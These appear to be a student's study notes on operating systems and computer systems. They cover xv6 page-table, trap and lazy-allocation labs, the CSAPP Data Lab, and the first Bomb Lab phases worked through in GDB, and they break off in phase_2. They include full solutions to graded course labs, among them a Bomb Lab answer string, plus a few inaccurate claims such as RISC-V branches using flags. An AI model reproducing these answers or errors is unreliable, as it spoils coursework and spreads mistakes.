Richard Qiu

Systems

3 notes

Contents

OS

Pipe

A pipe is a small kernel buffer exposed to processes as a pair of file descriptors, one for reading and one for writing. Writing data to one end of the pipe makes that data available for reading from the other end of the pipe. Pipes provide a way for processes to communicate.

Pipe is a shared resource(file descriptor) that allows two process to interchange data with each other, fork() won’t create a duplicate of the pipe.

Fork (Process)

fork(),

A process may create a new process using the fork system call. Fork gives the new process exactly the same memory contents (both instructions and data) as the calling process. Fork returns in both the original and new processes. In the original process, fork returns the new process’s PID. In the new process, fork returns zero. The original and new processes are often called the parent and child.

int pid = fork();
if(pid > 0){
    printf("parent: child=%d\n", pid);
    pid = wait((int *) 0);
    printf("child %d is done\n", pid);
} else if(pid == 0){
    printf("child: exiting\n");
    exit(0);
} else {
    printf("fork error\n");
}

wait

The wait system call returns the PID of an exited (or killed) child of the current process and copies the exit status of the child to the address passed to wait; if none of the caller’s children has exited, wait waits for one to do so. If the caller has no children, wait immediately returns -1. If the parent doesn’t care about the exit status of a child, it can pass a 0 address to wait.

Short Summary: For this code below, the wait will wait until child completes and it will store the child exit status into the &status which is a user-defined variable, the wait will return the child process ID which store in the terminate_pid below.

pid_t terminated_pid = wait(&status); // Wait for child to terminate

Pipe and Xargs in Unix

Input Handling:

  • Pipe (|): Directly connects the output of one command to the input of another.
  • xargs: Reads input from stdin and converts it into command-line arguments for another command.

Command Compatibility:

  • Pipe (|): Best used when the receiving command can process input from stdin.
  • xargs: Useful when the receiving command does not read from stdin but instead requires command-line arguments.

Flexibility:

  • Pipe (|): Simpler and more straightforward for linear data flow.
  • xargs: Offers more flexibility with options to handle arguments, such as -n (number of arguments per command line), -I (replace string), and -0 (null-terminated input).

Summary

  • Pipe (|): Use when you want to pass the output of one command directly as input to another command that reads from stdin.
  • xargs: Use when you need to convert input from stdin into command-line arguments for a command that does not read from stdin.

here

OSlab

GDB

To debug the QEMU, type make qemu-gdb to start debugging

Open a new windows, type gdb-multiarch to connect the xv6, add a breakpoint where to debug and continue.

Some common commands.

s/stepi step into the code line by line

n go into the next statement

tui enable this will open a GUI that where the breakpoint currently locates inside the code

layout asm this will open a GUI that layout the breakpoint in assembly

layout reg this will open a GUI and layout all the registers values

layout src go back the original src file

Lab3: page tables

The lab manual can be found here.https://pdos.csail.mit.edu/6.828/2021/labs/pgtbl.html

Speed up system calls (easy)

Purpose: speed up certain system calls by sharing data in a read-only region between user space and the kernel. This task is to map one read-only page at USYSCALL( a virtual address defined in memlayout.h). At the start of this page, store a struct usyscall (also defined in memlayout.h), and initialize it to store the PID of the current process.

//proc.h
struct proc {
  struct spinlock lock;

  // p->lock must be held when using these:
  enum procstate state;        // Process state
  void *chan;                  // If non-zero, sleeping on chan
  int killed;                  // If non-zero, have been killed
  int xstate;                  // Exit status to be returned to parent's wait
  int pid;                     // Process ID

  // wait_lock must be held when using this:
  struct proc *parent;         // Parent process

  // these are private to the process, so p->lock need not be held.
  uint64 kstack;               // Virtual address of kernel stack
  uint64 sz;                   // Size of process memory (bytes)
  pagetable_t pagetable;       // User page table
  struct trapframe *trapframe; // data page for trampoline.S
  struct context context;      // swtch() here to run process

  struct file *ofile[NOFILE];  // Open files
  struct inode *cwd;           // Current directory
  char name[16];               // Process name (debugging)
  // add the struct to store the shared page table
  struct usyscall *usyscall;   //get pid
};

//proc.c
static struct proc*
allocproc(void)
{
  struct proc *p;

  for(p = proc; p < &proc[NPROC]; p++) {
    acquire(&p->lock);
    if(p->state == UNUSED) {
      goto found;
    } else {
      release(&p->lock);
    }
  }
  return 0;

found:
  p->pid = allocpid();
  p->state = USED;


  // Allocate a trapframe page.
  if((p->trapframe = (struct trapframe *)kalloc()) == 0){
    freeproc(p);
    release(&p->lock);
    return 0;
  }
  //Allocate a USYSCALL page, my implementation
  if((p->usyscall = (struct usyscall *)kalloc()) == 0){
    freeproc(p);
    release(&p->lock);
    return 0;
  }
  //share the pid between userspace and the kernel
  p->usyscall->pid = p->pid;
  // An empty user page table.
  p->pagetable = proc_pagetable(p);
  if(p->pagetable == 0){
    freeproc(p);
    release(&p->lock);
    return 0;
  }

  // Set up new context to start executing at forkret,
  // which returns to user space.
  memset(&p->context, 0, sizeof(p->context));
  p->context.ra = (uint64)forkret;
  p->context.sp = p->kstack + PGSIZE;

  return p;
}


// Create a user page table for a given process,
// with no user memory, but with trampoline pages.
pagetable_t
proc_pagetable(struct proc *p)
{
  pagetable_t pagetable;

  // An empty page table.
  pagetable = uvmcreate();
  if(pagetable == 0)
    return 0;

  // map the trampoline code (for system call return)
  // at the highest user virtual address.
  // only the supervisor uses it, on the way
  // to/from user space, so not PTE_U.
  if(mappages(pagetable, TRAMPOLINE, PGSIZE,
              (uint64)trampoline, PTE_R | PTE_X) < 0){
    uvmfree(pagetable, 0);
    return 0;
  }

  // map the trapframe just below TRAMPOLINE, for trampoline.S.
  if(mappages(pagetable, TRAPFRAME, PGSIZE,
              (uint64)(p->trapframe), PTE_R | PTE_W) < 0){
    uvmunmap(pagetable, TRAMPOLINE, 1, 0);
    uvmfree(pagetable, 0);
    return 0;
  }

  //create a page for usyscall and map with READ only and also allow it to be accessed by the USER.
  if(mappages(pagetable, USYSCALL, PGSIZE,
              (uint64)(p->usyscall), PTE_R | PTE_U) < 0){
    uvmunmap(pagetable, TRAMPOLINE, 1, 0);
    uvmunmap(pagetable, TRAPFRAME, 1, 0);
    uvmfree(pagetable, 0);
    return 0;
  }

  return pagetable;
}

// Don't forget to free the leaf of the USYSCALL page, else it will cause a leaf panic error
// Free a process's page table, and free the
// physical memory it refers to.
void
proc_freepagetable(pagetable_t pagetable, uint64 sz)
{
  uvmunmap(pagetable, TRAMPOLINE, 1, 0);
  uvmunmap(pagetable, TRAPFRAME, 1, 0);
  uvmunmap(pagetable, USYSCALL, 1, 0);
  uvmfree(pagetable, sz);
}

Print a page table (easy)

Purpose: Print the contents of a page table

Define a function called vmprint(). It should take a pagetable_t argument, and print that pagetable in the format described below. Insert if(p->pid==1) vmprint(p->pagetable) in exec.c just before the return argc, to print the first process’s page table. You receive full credit for this part of the lab if you pass the pte printout test of make grade.



//vm.c
//use recursion to print the pte on page tables
void vmprint(pagetable_t pagetable,int r)
{
  // r =0. first r
  char *format ="";
  if(r == 0){
    pte_t pa = (uint64)pagetable;
    printf("page table %p\n",pa);
    format = "..";
    r++;
  }else if(r ==1){
    format = ".. ..";
    r++;
  }else if(r==2){
    format = ".. .. ..";
    r++;
  }

  for(int i=0;i<512;i++){
    pte_t pte = pagetable[i];
    //if there is a valid page
    if((pte & PTE_V) && (pte & (PTE_R|PTE_W|PTE_X)) == 0){
      // this PTE points to a lower-level page table.

      //PTE2PA will get the next page PA address
      uint64 child = PTE2PA(pte);
      printf("%s%d: pte %p pa %p\n",format,i,pte,child);
      // printf("child %p\n",child);
      vmprint((pagetable_t)child,r);
    } else if(pte & PTE_V){	//these are the leaf of the page
      uint64 child = PTE2PA(pte);
      printf("%s%d: pte %p pa %p\n",format,i,pte,child);

    }
  }

}


//exec.c
//add this code in int exec(char *path, char **argv) before the return argument to allow it to print the page table when the pid is 1
  if(p->pid ==1) vmprint(p->pagetable,0);

Detecting which pages have been accessed (hard)

Purpose: Based on the input arguments, determine which pages have been accessed(read or write).

Your job is to implement pgaccess(), a system call that reports which pages have been accessed. The system call takes three arguments. First, it takes the starting virtual address of the first user page to check. Second, it takes the number of pages to check. Finally, it takes a user address to a buffer to store the results into a bitmask (a datastructure that uses one bit per page and where the first page corresponds to the least significant bit). You will receive full credit for this part of the lab if the pgaccess test case passes when running pgtbltest.

image-20240820010655487

//riscv.h
#define PTE_A (1L << 6) //Access Bit

//sysproc.c

#ifdef LAB_PGTBL
int
sys_pgaccess(void)
{
  //parse arugments
  uint64 va;
  int num;
  uint64 buffer; //buffer to store the result in bitmask ds
  int ans = 0;
  if(argaddr(0,&va) < 0) return -1;
  if(argint(1,&num)<0) return -1;
  if(argaddr(2,&buffer)<0) return -1;

  struct proc *p = myproc(); //get the current process status
  pagetable_t pagetable = p->pagetable; //the user page table

  for(int i=0;i<num;i++){
    pte_t *pte;
    pte = walk(pagetable,va+ (i * PGSIZE),0);

    if((pte != 0) && (*pte & PTE_A)){
      ans = ans | (1 << i);
      *pte = *pte ^ PTE_A;
    }
  }
  //copy the answer from kernel to the user space, stored in the third input argument ans,
    //copy byte by byte
  if(copyout(pagetable,buffer,(char *)&ans,sizeof(int)) < 0){
    return -1;
  }
  return 0;
//pgaccess(buf, 32, &abits)

}
#endif

Bitmask data structure:

Bitmask Basics:

  • Representation: A bitmask is typically represented as an integer where each bit corresponds to a specific option, flag, or element.
    • For example, an 8-bit bitmask can represent up to 8 different flags or states, with each bit in the byte being either 0 (off/false) or 1 (on/true).
  • Efficiency: Bitmasks are efficient because they allow you to represent multiple states or flags within a single integer, using very little memory (e.g., 1 byte can store 8 flags).
  • Common Uses:
    • Flags: In many programming languages, bitmasks are used to store flags, where each bit in the bitmask represents a different flag.
    • Permissions: Bitmasks are often used to store permission bits, where each bit represents a different permission (e.g., read, write, execute).
    • Presence of Elements: In algorithms, bitmasks can be used to represent whether certain elements or conditions are present.

Explanation of Byte Pointer:

  • Pointer Basics:

    • A pointer is a variable that holds the memory address of another variable.
    • The type of the pointer determines how the memory is accessed. For example, an int* pointer is expected to point to an int and thus access 4 bytes of memory (on most systems), whereas a char* pointer (byte pointer) accesses 1 byte of memory.
  • Byte Pointer (char\*):

    • A char* or unsigned char* pointer is often referred to as a byte pointer because char typically represents a single byte (8 bits) of data.
    • With a byte pointer, you can perform fine-grained memory operations, such as accessing and modifying memory byte by byte.

Example of Byte Pointer Usage:

Consider a scenario where you have an integer value, but you want to access or manipulate its bytes individually:

#include <stdio.h>

int main() {
    int num = 0x12345678;   // A 4-byte integer
    char *byte_ptr = (char*)&num;  // Cast the address of num to a byte pointer

    // Access and print each byte of the integer
    for(int i = 0; i < sizeof(int); i++) {
        printf("Byte %d: 0x%x\n", i, byte_ptr[i]);
    }

    return 0;
}

Explanation:

  • Memory Representation
    • num is a 4-byte integer. Its value 0x12345678 will be stored in memory as four bytes: 0x12, 0x34, 0x56, 0x78.
  • Pointer Cast
    • char* byte_ptr = (char*)# converts the address of num (which is an int*) to a char*, allowing you to access the individual bytes of the integer.
  • Byte-by-Byte Access
    • byte_ptr[i] accesses the i-th byte of num. Since byte_ptr is a char*, byte_ptr[i] accesses the memory one byte at a time.

Output:

Byte 0: 0x78
Byte 1: 0x56
Byte 2: 0x34
Byte 3: 0x12

Why Use a Byte Pointer?

  • Memory Manipulation: Byte pointers are useful when you need to manipulate data at a low level, such as copying raw memory, accessing specific bytes in a larger data structure, or working with binary data formats.
  • Typecasting: Often, you might cast a higher-level pointer (e.g., int*, float*) to a char* to inspect or manipulate its bytes, as seen in the example above.

Summary

I enhance some interesting things that i never notice before, copyout(pagetable,buffer,(char *)&ans,sizeof(int)) this function is actually copying the data byte by byte, and it is a really useful technique if we want to write a generic function that accept different data types arguments and perform the copy. Idea is in C, the data type will define how many bytes of memory to read, let’s say if the data type is int _, then it will read 4 bytes contiguous memory blocks. And since char _ only has the one byte(lowest), it will be safe to copy those memory blocks byte by byte and later cast those address to the original data type.

Lab4: traps

Backtrace (moderate)

Purpose: To understand a bit of RISC-V asm and understand the calling conventions, it is important to understand how RISC-V manage the stack for this part.

image-20240828024131702

Code part is super straightforward once understand the structure how RISC-V manage the stack, from the question, Note that the return address lives at a fixed offset (-8) from the frame pointer of a stackframe, and that the saved frame pointer lives at fixed offset (-16) from the frame pointer. And also Xv6 allocates one page for each stack in the xv6 kernel at PAGE-aligned address. You can compute the top and bottom address of the stack page by using PGROUNDDOWN(fp) and PGROUNDUP(fp) (see kernel/riscv.h. These number are helpful for backtrace to terminate its loop.

//kernel/printf.c
void backtrace(void)
{
  printf("test");
  uint64 fp = r_fp();
  uint64 bot = PGROUNDDOWN(fp);
  uint64 top = PGROUNDUP(fp);

  printf("backtrace:\n");  
  while((fp > bot) && (fp < top)){
          // so to find the address of the ra, we know it is -8 of the frame pointer, so is the fp-8, then cuz it is an address value, need to cast this to a pointer and want to find the exact memory at this address so dereference into that
    uint64 *ra = (uint64 *) (fp -8);
    printf("%p\n",*ra);
    fp = *(uint64 *) (fp -16);
  }

}
//kernel/riscv.h
//this code is provided to get the s0(fp), frame pointer of the stack
static inline uint64
r_fp()
{
  uint64 x;
  asm volatile("mv %0, s0" : "=r" (x) );
  return x;
}

The only tricky part is to cast the address to a pointer and dereference that pointer address to get the return address in each stack frame. uint64 *ra = (uint64 *) (fp -8);

Alarm (hard)

Purpose: Add a feature to xv6 that periodically alerts a process as it uses CPU time. This will involve interrupt practice which needs return the saved registers from jump from user space to kernel.

Add a function sigalarm(interval, handler) system call.

//user.h
int sigalarm(int ticks, void (*handler)());
int sigreturn(void);

//proc.h
int ticks;
int interval;
void (*handler)();  //define a handler function pointer
struct trapframe *alarmtrapframe;

//sysproc.c -> main implementation for sigalarm and return
uint64
sys_sigalarm(void)
{
  //Your sys_sigalarm() should store the alarm interval and the pointer to the handler function in new fields in the proc structure (in kernel/proc.h).
  struct proc *p = myproc();
  int interval;
  uint64 handler;
  if(argint(0, &interval) < 0) //get the first tick argument
    return -1;

  if(argaddr(1, &handler) < 0)  //get the second address argument
    return -1;

  p->interval = interval;  
  p->handler = (void (*)())handler;
  p->ticks = 0;
  p->alarmtrapframe = 0;
  //execute the handler function until the ticks cycle 
  return 0;
}

uint64
sys_sigreturn(void)
{
  struct proc *p = myproc();
  if(p->alarmtrapframe !=0){
    memmove(p->trapframe,p->alarmtrapframe,sizeof(struct trapframe));
    kfree(p->alarmtrapframe);
    p->alarmtrapframe = 0;	//alarmtrapframe will be used like a semaphore to make sure only one process can make this system call until it returns (Prevent re-entrant calls to the handler----if a handler hasn't returned yet, the kernel shouldn't call it again)
  }
  //restore the alarmtrapframe to trapframe
  return 0;
}

//usertrap.c
  // give up the CPU if this is a timer interrupt.
  if(which_dev == 2){
    if(p->interval != 0){
      p->ticks ++;
      if(p->ticks == p->interval){
        p->ticks = 0;
        if(p->alarmtrapframe == 0){	
          p->alarmtrapframe = kalloc();
          //copy the trapframe registers to alarmtrapframe
          //notes: cannot directly use size of a struct pointer since it is only a memory address
          //sizeof(struct trapframe) = 288
          memmove(p->alarmtrapframe,p->trapframe,sizeof(struct trapframe));
          p->trapframe->epc =(uint64)p->handler;
        }

      }else{
        yield();
      }
    }else{
      yield();
    }
  }

Reference:

https://www.cnblogs.com/weijunji/p/14338466.html

More

x86 and RISC-V difference, based on my experience in both x86 and RISC-v, found there are quite some difference in these two architectures. Some difference are,

1. Instruction Set Complexity:

  • x86: It is a Complex Instruction Set Computing (CISC) architecture, meaning it has a large number of complex instructions, some of which can perform multiple operations in a single instruction. x86 instructions can vary in length, and some instructions are highly specialized.
  • RISC-V: It is a Reduced Instruction Set Computing (RISC) architecture. The instructions are simpler, fixed in size, and designed to execute within one clock cycle. RISC-V has a smaller and more uniform set of instructions, which makes the assembly language easier to learn and the hardware simpler to implement.

2. Registers:

  • x86: It has a smaller number of general-purpose registers (like EAX, EBX, ECX, EDX for 32-bit, and RAX, RBX, etc., for 64-bit), and some registers have specific uses (e.g., RSP for the stack pointer).
  • RISC-V: It has 32 general-purpose registers (x0 to x31), with x0 always hardwired to zero. The register usage is more flexible compared to x86.

3. Addressing Modes:

  • x86: Supports a variety of complex addressing modes, such as register indirect with displacement, base-plus-index, and more.
  • RISC-V: Has simpler addressing modes, primarily focused on register-indirect and immediate offsets.

4. Instruction Format:

  • x86: Instructions can be of varying lengths (from 1 to 15 bytes), and the format is quite complex due to the need for backward compatibility.
  • RISC-V: Instructions are uniformly 32 bits in length (in the base ISA), making decoding simpler and faster.

5. Function Calling Conventions:

  • x86: The calling conventions are complex, with arguments passed through registers and the stack, and specific registers reserved for return values (EAX, RAX) and other purposes.
  • RISC-V: Has a simpler calling convention. Function arguments are passed in registers a0 to a7, and return values are typically passed in a0 (and a1 for double-word results).

6. Branching:

  • x86: Has a variety of conditional and unconditional branch instructions, with complex branch prediction mechanisms.
  • RISC-V: Uses a simpler set of branch instructions, with conditions typically being checked via comparison instructions that set flags.

7. Stack Management:

  • x86: Uses a dedicated stack pointer (ESP/RSP), with push and pop instructions.
  • RISC-V: Also uses a stack, but it is managed more manually, with load and store instructions. There are no dedicated push/pop instructions; instead, you manually adjust the stack pointer and store/load values.

2020 Lab: Lazy allocation

The purpose of this lab is to understand the lazy allocation of user-space heap memory,

Consider, for example, that a gigabyte consists of 262,144 4096-byte pages; that’s a huge number of allocations even if each is individually cheap. In addition, some programs allocate more memory than they actually use (e.g., to implement sparse arrays), or allocate memory well in advance of use.

To allow sbrk() to complete more quickly in these cases, sophisticated kernels allocate user memory lazily. That is, sbrk() doesn’t allocate physical memory, but just remembers which user addresses are allocated and marks those addresses as invalid in the user page table. When the process first tries to use any given page of lazily-allocated memory, the CPU generates a page fault, which the kernel handles by allocating physical memory, zeroing it, and mapping it. You’ll add this lazy allocation feature to xv6 in this lab.

Eliminate allocation from sbrk() (easy)

uint64
sys_sbrk(void)
{
  int addr;
  int n;

  if(argint(0, &n) < 0)
    return -1;
  addr = myproc()->sz;
  myproc()->sz = myproc()->sz + n;
  // if(growproc(n) < 0)
  //   return -1;
  return addr;
}

Instead of directly allocating the size on sbrk, increase the size only but without allocating the memory first.

Lazy allocation (moderate)

Add the page fault handler to realize the lazy allocation, only allocate the required memory when there is a page fault which will cause the trap.

void
usertrap(void)
{
  ...
  } else if((which_dev = devintr()) != 0){
    // ok
  } else if (r_scause() == 13 || r_scause() == 15) {
    // 13: page load fault; 15: page write fault
    // printf("page fault\n");
    uint64 addr = r_stval();
    if (lazy_alloc(addr) < 0) {
      p->killed = 1;
    }
  } else {
    printf("usertrap(): unexpected scause %p pid=%d\n", r_scause(), p->pid);
    printf("            sepc=%p stval=%p\n", r_sepc(), r_stval());
    p->killed = 1;
  }
  ...
}

int
lazy_alloc(uint64 addr) {
  struct proc *p = myproc();
  // page-faults on a virtual memory address higher than any allocated with sbrk()
  // this should be >= not > !!!
  if (addr >= p->sz) {
    // printf("lazy_alloc: access invalid address");
    return -1;
  }

  if (addr < p->trapframe->sp) {
    // printf("lazy_alloc: access address below stack");
    return -2;
  }
  
  uint64 pa = PGROUNDDOWN(addr);
  char* mem = kalloc();
  if (mem == 0) {
    // printf("lazy_alloc: kalloc failed");
    return -3;
  }
  
  memset(mem, 0, PGSIZE);
  if(mappages(p->pagetable, pa, PGSIZE, (uint64)mem, PTE_W|PTE_X|PTE_R|PTE_U) != 0){
    kfree(mem);
    return -4;
  }
  return 0;
}

Lazytests and Usertests (moderate)

To enhance the lazy allocation from part2.

  • Handle negative sbrk() arguments.
  • Kill a process if it page-faults on a virtual memory address higher than any allocated with sbrk().
  • Handle the parent-to-child memory copy in fork() correctly.
  • Handle the case in which a process passes a valid address from sbrk() to a system call such as read or write, but the memory for that address has not yet been allocated.
  • Handle out-of-memory correctly: if kalloc() fails in the page fault handler, kill the current process.
  • Handle faults on the invalid page below the user stack.
uint64
walkaddr(pagetable_t pagetable, uint64 va)
{
  pte_t *pte;
  uint64 pa;

  if(va >= MAXVA)
    return 0;

  pte = walk(pagetable, va, 0);
  if(pte == 0 || (*pte & PTE_V) == 0) {
    if (lazy_alloc(va) == 0) {
      pte = walk(pagetable, va, 0);
    } else {
      return 0;
    }
  }
  if((*pte & PTE_U) == 0)
    return 0;
  pa = PTE2PA(*pte);
  return pa;
}

Lab5: Copy-on-Write Fork for xv6

The problem:

The fork() system call in xv6 copies all of the parent process’s user-space memory into the child. If the parent is large, copying can take a long time. Worse, the work is often largely wasted; for example, a fork() followed by exec() in the child will cause the child to discard the copied memory, probably without ever using most of it. On the other hand, if both parent and child use a page, and one or both writes it, a copy is truly needed.

Implement copy-on write(hard)****

CSAPP

Lab1 - Data Lab (C bitwise operations)

How to setup the test environment.

How to open VS code on WSL2. -> Open Docker Desktop. On Vs code, type remote container

For lab1. Data lab1.

cd ~

ls

cd csapplab

cd datalab/datalab-handout

make clean && make && ./btest

Notes:

Q1. BitXor;

XOR Gate Truth Table, Symbol, Diagram, Application, Properties

Ideas: First find the OR gate of two inputs, flip them use not then and them. And the initial two inputs and not the output then finally and the two values.

Floating point:

image-20240429002223878

image-20240429002233108

Will always convert to the form of M = 1.xxx, and M x 2^pow

floatFloat2Int(f)

Convert a float (given as its bit pattern) to an int.

  • Code
/* 
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf) {
  int s_    = uf>>31;
  int exp_  = ((uf&0x7f800000)>>23)-127;
  int frac_ = (uf&0x007fffff)|0x00800000;
  if(!(uf&0x7fffffff)) return 0;

  if(exp_ > 31) return 0x80000000;
  if(exp_ < 0) return 0;

  if(exp_ > 23) frac_ <<= (exp_-23);
  else frac_ >>= (23-exp_);

  if(!((frac_>>31)^s_)) return frac_;
  else if(frac_>>31) return 0x80000000;
  else return ~frac_+1;
}
  • Approach

Handle the special cases first: if the float is 0, return 0; if the real exponent is greater than 31 (the mantissa is ≥ 1, so a 1 << 31 shift would clobber the sign bit), return the overflow value 0x80000000u; if exp < 0 the value is below 1, so return 0. Otherwise turn the 23-bit fraction into an integer (shifting left or right depending on exp relative to 23), then check for overflow: if the sign matches the original, return it; if the result went negative while the original was positive, it overflowed, return 0x80000000u; if the original was negative and the result positive, return the two’s complement (negate it).

The idea is to apply the concept that when converting from the binary int to the float format, need to use the normalized encoding idea.

Takeaway:

image-20240429010601121

image-20240429010732263

image-20240429010854316

  • Any arithmetic operations with unsigned values will cast the result to be unsigned.

  • The size_t defined as unsinged value with length = word size, In C++, size_t is a data type used to represent the size of objects. It’s an unsigned integer type that’s capable of storing the size in bytes of any object. Its actual size can vary depending on the platform and compiler, but it’s typically chosen to be large enough to represent the maximum possible size of a theoretically possible object on the given platform. size_t is better than used unsigned_int .

  • Reference https://pvs-studio.com/en/blog/terms/0044/#:~:text=The%20size_t%20is%20chosen%20so,64%2Dbit%20one%2064%20bits.

  • The 2’s complement of a value is ~x + 1;

Lab2 - Bomb Lab(Disassemble the object code to reverse engineering the program)

image-20240523224807402

image-20240523224819581

image-20240523225033369

GDB Debug tool

To debug, use dgb debugged, the pdf can be found at this link

https://csapp.cs.cmu.edu/2e/docs/gdbnotes-x86-64.pdf

gdb object code or compiled code gdb bomb

Inside, running disassmble function disas <function name>

x/s 0x402400 x/s will be used to Examine a string stored at 0xbffff890.

Write a function in x64

image-20240524232341653

Phase_1

Dump of assembler code for function phase_1:
   0x0000000000400ee0 <+0>:     sub    $0x8,%rsp
   0x0000000000400ee4 <+4>:     mov    $0x402400,%esi
   0x0000000000400ee9 <+9>:     callq  0x401338 <strings_not_equal>
   0x0000000000400eee <+14>:    test   %eax,%eax
//Expected return eax to be zero to diffuse the bomb
   0x0000000000400ef0 <+16>:    je     0x400ef7 <phase_1+23>
   0x0000000000400ef2 <+18>:    callq  0x40143a <explode_bomb>
   0x0000000000400ef7 <+23>:    add    $0x8,%rsp
   0x0000000000400efb <+27>:    retq   
End of assembler dump.

Dump of assembler code for function strings_not_equal:
   0x0000000000401338 <+0>:     push   %r12
   0x000000000040133a <+2>:     push   %rbp
   0x000000000040133b <+3>:     push   %rbx
   0x000000000040133c <+4>:     mov    %rdi,%rbx
   0x000000000040133f <+7>:     mov    %rsi,%rbp
   0x0000000000401342 <+10>:    callq  0x40131b <string_length>
   
   
Dump of assembler code for function string_length:
   0x000000000040131b <+0>:     cmpb   $0x0,(%rdi)
   0x000000000040131e <+3>:     je     0x401332 <string_length+23>
   0x0000000000401320 <+5>:     mov    %rdi,%rdx
   0x0000000000401323 <+8>:     add    $0x1,%rdx
   
Address     Value
0x1000      'h'
0x1001      'e'
0x1002      'l'
0x1003      'l'
0x1004      'o'
0x1005      '\0' (null terminator)   
   
   0x0000000000401327 <+12>:    mov    %edx,%eax
   0x0000000000401329 <+14>:    sub    %edi,%eax
   0x000000000040132b <+16>:    cmpb   $0x0,(%rdx)
   0x000000000040132e <+19>:    jne    0x401323 <string_length+8>
   0x0000000000401330 <+21>:    repz retq 
   0x0000000000401332 <+23>:    mov    $0x0,%eax
   0x0000000000401337 <+28>:    retq   
End of assembler dump.

Explain of String_lengh:

Dump of assembler code for function string_length: 0x000000000040131b <+0>: cmpb $0x0,(%rdi) 0x000000000040131e <+3>: je 0x401332 <string_length+23> 0x0000000000401320 <+5>: mov %rdi,%rdx 0x0000000000401323 <+8>: add $0x1,%rdx 0x0000000000401327 <+12>: mov %edx,%eax 0x0000000000401329 <+14>: sub %edi,%eax 0x000000000040132b <+16>: cmpb $0x0,(%rdx) 0x000000000040132e <+19>: jne 0x401323 <string_length+8> 0x0000000000401330 <+21>: repz retq 0x0000000000401332 <+23>: mov $0x0,%eax 0x0000000000401337 <+28>: retq End of assembler dump.

First, compare the first dereference value at rdi, if not zero, go to the next statement, if zero. return 0.

Copy the input string rdi to the rdx,

Move the pointer one step at rdx,

Copy the edx to eax

Subtract eax from the original edi, it will perform the address subtracting. First loop should return 1 step,

Compare the next pointer address value if it is null with zero. If not, go back to the +8, if yes, it will return the eax reg.

This function is used to calcualte the string length.

image-20240525021728086

In the main code section, the rdi is a user input,

rsi is the direct access of the memory address at 0x402400.

Dump of assembler code for function strings_not_equal:
////what does it do, just compare tow input string, rdi and rsi, return the eax to zero if they are equal else return eax to 1

   0x0000000000401338 <+0>:     push   %r12
   0x000000000040133a <+2>:     push   %rbp
   0x000000000040133b <+3>:     push   %rbx
   0x000000000040133c <+4>:     mov    %rdi,%rbx
   0x000000000040133f <+7>:     mov    %rsi,%rbp
   0x0000000000401342 <+10>:    callq  0x40131b <string_length>
   0x0000000000401347 <+15>:    mov    %eax,%r12d
   0x000000000040134a <+18>:    mov    %rbp,%rdi
   0x000000000040134d <+21>:    callq  0x40131b <string_length>
   0x0000000000401352 <+26>:    mov    $0x1,%edx	
   0x0000000000401357 <+31>:    cmp    %eax,%r12d	//compare the length of two inputs
   0x000000000040135a <+34>:    jne    0x40139b <strings_not_equal+99>	//if not same, end, set eax = edx = 0x1
   0x000000000040135c <+36>:    movzbl (%rbx),%eax
   //what is movzbl, movz, convert the single byte into 4bytes, 8bit -32bit. and zero extend the eax register
   
Zero-Extension
Zero-Extend: This means that the rest of the EAX register (the upper 24 bits) will be set to zero after the byte is moved.
Example: If the byte at (%rbx) is 0x41 (which is the ASCII code for 'A'):
After execution, EAX will be 0x00000041.

   0x000000000040135f <+39>:    test   %al,%al
   //zf set wen a&b == 0, test the rax if the start is null, check the char if it is null, if null then both empty, still same return eax =0
   0x0000000000401361 <+41>:    je     0x401388 <strings_not_equal+80>
   0x0000000000401363 <+43>:    cmp    0x0(%rbp),%al
   0x0000000000401366 <+46>:    je     0x401372 <strings_not_equal+58>
   0x0000000000401368 <+48>:    jmp    0x40138f <strings_not_equal+87>
   0x000000000040136a <+50>:    cmp    0x0(%rbp),%al
   0x000000000040136d <+53>:    nopl   (%rax)
   0x0000000000401370 <+56>:    jne    0x401396 <strings_not_equal+94>
   0x0000000000401372 <+58>:    add    $0x1,%rbx
   0x0000000000401376 <+62>:    add    $0x1,%rbp
   0x000000000040137a <+66>:    movzbl (%rbx),%eax
   0x000000000040137d <+69>:    test   %al,%al
   
   0x000000000040137f <+71>:    jne    0x40136a <strings_not_equal+50>
   0x0000000000401381 <+73>:    mov    $0x0,%edx
   0x0000000000401386 <+78>:    jmp    0x40139b <strings_not_equal+99>
   0x0000000000401388 <+80>:    mov    $0x0,%edx
   0x000000000040138d <+85>:    jmp    0x40139b <strings_not_equal+99>
   0x000000000040138f <+87>:    mov    $0x1,%edx
   0x0000000000401394 <+92>:    jmp    0x40139b <strings_not_equal+99>
   0x0000000000401396 <+94>:    mov    $0x1,%edx
   0x000000000040139b <+99>:    mov    %edx,%eax
   0x000000000040139d <+101>:   pop    %rbx
   0x000000000040139e <+102>:   pop    %rbp
   0x000000000040139f <+103>:   pop    %r12
   0x00000000004013a1 <+105>:   retq   
End of assembler dump.

image-20240525141225889

Ans:

(gdb) x/s 0x402400

0x402400: “Border relations with Canada have never been better.”

Border relations with Canada have never been better.

Phase_2

The LEA (Load Effective Address) instruction in x86-64 assembly language is used to perform address calculations and load the result into a register. Unlike other instructions that directly access memory, LEA simply computes an address and stores it in a register without accessing the memory at that address.

The purpose of LEA is to allow one to perform a non-trivial address calculation and store the result [for later usage]

lea only computes the address; it never dereferences it, so nothing is loaded from memory.

assembly
Copy code
LEA destination, source
  • destination: A general-purpose register where the result of the address calculation will be stored.
  • source: An effective address expression that typically involves base registers, index registers, scaling factors, and displacement values.
Dump of assembler code for function phase_2:
   0x0000000000400efc <+0>:     push   %rbp
   0x0000000000400efd <+1>:     push   %rbx
   0x0000000000400efe <+2>:     sub    $0x28,%rsp
   //allocate 40bytes to store local variables on stack
   0x0000000000400f02 <+6>:     mov    %rsp,%rsi
   
   // rsi = rsp,
   0x0000000000400f05 <+9>:     callq  0x40145c <read_six_numbers>
   {
   rsi -> rdx
   0x4 (rsi) -> rcx
   
   6 overall registers and stack pointer as arguments to read and store the data in rsi = rsp(in phase_2),
   
   rsi -> rdx first integer	-> rax
0x4(%rsp) =  0x4(%rsi) -> rcx: Address for the second integer. -> 0x4(rax)
0x14(%rsi) -> rax: Address for the sixth integer. -> + 4
0x10(%rsi) -> rax: Address for the fifth integer. -> +4
0xc(%rsi) -> r9: Address for the fourth integer. 	-> +4

